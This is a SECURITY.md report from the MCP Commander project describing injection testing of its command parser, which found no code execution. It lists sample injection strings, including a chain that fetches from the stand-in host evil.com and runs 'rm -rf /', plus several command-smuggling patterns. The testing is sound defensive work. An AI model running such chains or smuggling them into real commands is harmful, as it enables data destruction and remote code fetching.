Skip to content

Security: nmindz/mcp-commander

Security

SECURITY.md

Security Analysis Report

Overview

This document reports the results of security testing performed on the MCP Commander command parsing functionality. Testing was conducted to evaluate potential code injection vulnerabilities in the command parser.

Testing Scope

Command Parser Security Testing

  • Target: src/mcpcommander/utils/config_parser.py - ServerConfigParser class
  • Focus: Command string parsing and tokenization logic
  • Date: August 13, 2025
  • Test Scripts: scripts/test_security_injection.py, scripts/test_actual_execution.py

Test Methodology

Injection Attack Patterns Tested

17 different injection patterns were tested against the command parser:

  1. Semicolon command injection (npx test-server; echo INJECTED)
  2. Backtick command substitution (npx \echo malicious-server``)
  3. Dollar command substitution (npx $(echo malicious-server))
  4. Pipe command injection (npx test-server | echo INJECTED)
  5. Logical AND injection (npx test-server && echo INJECTED)
  6. Logical OR injection (npx test-server || echo INJECTED)
  7. Background process injection (npx test-server & echo INJECTED)
  8. File redirection injection (npx test-server > /tmp/injected.txt; echo INJECTED)
  9. Environment variable injection (INJECTED=true npx test-server)
  10. Path with injection attempt (/Applications/Test.app/bin/java; echo INJECTED)
  11. Quoted injection attempt ("npx test"; echo INJECTED)
  12. Mixed quotes injection (npx 'test\echo INJECTED`server'`)
  13. Newline injection (multiline commands)
  14. Unicode/special characters (npx test-server\u0000echo INJECTED)
  15. Complex injection chains (npx test && echo INJECTED && curl http://evil.com && rm -rf /)
  16. Malicious Java-style commands
  17. Windows-style command injection

Code Execution Verification

Additional testing verified whether the parser executes code during the parsing process by:

  • Attempting to create files on the filesystem during parsing
  • Monitoring for any side effects from malicious commands
  • Testing 5 different shell operator patterns

Results

Command Parsing Behavior

The parser processes all input commands by:

  1. Splitting command strings into structured data using Python's shlex module
  2. Returning a configuration object with command and args fields
  3. Converting shell operators into literal string arguments

Test Results Summary

  • Total injection patterns tested: 17
  • Patterns that caused parse failures: 0
  • Patterns that resulted in code execution: 0
  • Patterns where shell operators became literal arguments: 16
  • Patterns handled as environment variables: 1

Specific Findings

Shell Operator Handling

Shell operators are converted to literal string arguments:

Input:  "npx test-server && echo INJECTED"
Output: {"command": "npx", "args": ["test-server", "&&", "echo", "INJECTED"]}

Command Substitution Handling

Command substitution syntax becomes literal text:

Input:  "npx $(echo malicious-server)"
Output: {"command": "npx", "args": ["$(echo", "malicious-server)"]}

Path with Spaces Handling

Paths containing spaces are processed through auto-quoting logic:

Input:  "/Applications/Test.app/bin/java; echo INJECTED"
Output: {"command": "/Applications/Test.app/bin/java;", "args": ["echo", "INJECTED"]}

Code Execution Testing

No code execution occurred during any parsing operations:

  • 5 different malicious commands tested with filesystem monitoring
  • No temporary files created during parsing
  • No system commands executed as side effects

Parser Architecture

Security Model

The command parser operates as a text tokenizer, not a command executor:

  • Uses Python's shlex.split() for basic tokenization
  • Implements custom logic for handling paths with spaces
  • Does not invoke shell interpreters or execute commands
  • Outputs structured data for downstream consumption

Execution Separation

Command execution is handled separately from parsing:

  • Parser outputs structured configuration data
  • MCP servers receive parsed commands as separate executable and arguments
  • Shell operators in arguments are not interpreted by receiving processes

Limitations of Testing

Scope Boundaries

This analysis covers:

  • Command string parsing logic only
  • Direct code injection through parser input
  • Shell operator interpretation during parsing

This analysis does not cover:

  • Security of downstream MCP server implementations
  • Network-based attacks against MCP protocols
  • File system permissions and access controls
  • Authentication and authorization mechanisms
  • Process execution security in MCP server runtime

Environmental Factors

Testing was conducted on:

  • macOS Darwin 22.6.0
  • Python 3.x environment
  • Local filesystem testing only

Recommendations

Current State

Based on testing results, the command parser:

  • Does not execute code during parsing operations
  • Converts potentially dangerous shell operators to literal strings
  • Handles complex input patterns without interpretation

Ongoing Security Practices

  • Regular security testing should be conducted as parser logic evolves
  • Input validation should be maintained at the parser level
  • Documentation should clearly explain the separation between parsing and execution responsibilities

Test Artifacts

Security testing generated the following files:

  • scripts/test_security_injection.py - Injection attack test suite
  • scripts/test_actual_execution.py - Code execution verification tests
  • scripts/security_test_results.json - Detailed test result data

These artifacts are available for review and can be executed to reproduce the reported findings.

There aren’t any published security advisories